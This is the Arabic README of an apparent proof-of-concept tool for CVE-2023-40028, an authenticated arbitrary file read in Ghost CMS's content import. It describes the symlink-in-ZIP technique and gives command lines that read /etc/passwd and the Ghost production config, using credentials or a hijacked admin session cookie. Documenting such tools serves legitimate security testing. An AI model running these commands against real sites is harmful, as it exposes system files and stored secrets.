
POC لـ CVE-2023-40028: قراءة ملفات تعسفية في Ghost CMS
إثبات مفهوم لـ CVE-2023-40028، وهي ثغرة قراءة ملفات عشوائية تتطلب المصادقة في ميزة استيراد المحتوى في Ghost. يقوم أرشيف ZIP مُصمَّم خصيصًا بإنشاء symlink تحت content/images، مما يسمح للسكربت بطلب ملف من مضيف Ghost.
إصدارات Ghost قبل 5.59.1 متأثرة. قم بالترقية إلى 5.59.1 أو أحدث.
استخدم هذا فقط ضد الأنظمة التي تملكها أو المصرَّح لك باختبارها.
requestsghost-admin-api-session صالحpython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
قراءة ملف واحد باستخدام اسم مستخدم وكلمة مرور:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
استخدام ملف تعريف ارتباط جلسة مسؤول موجود:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
احذف --file لفتح موجّه file> التفاعلي. شغّل python3 ghost_fileread.py --help لخيارات proxy وtimeout وUser-Agent.
تُرجع نقطة النهاية نصًا، لذا هذه الأداة مخصصة للملفات النصية. يؤدي استيراد الأرشيف المُصمَّم إلى ترك symlink في دليل content/images الخاص بالهدف.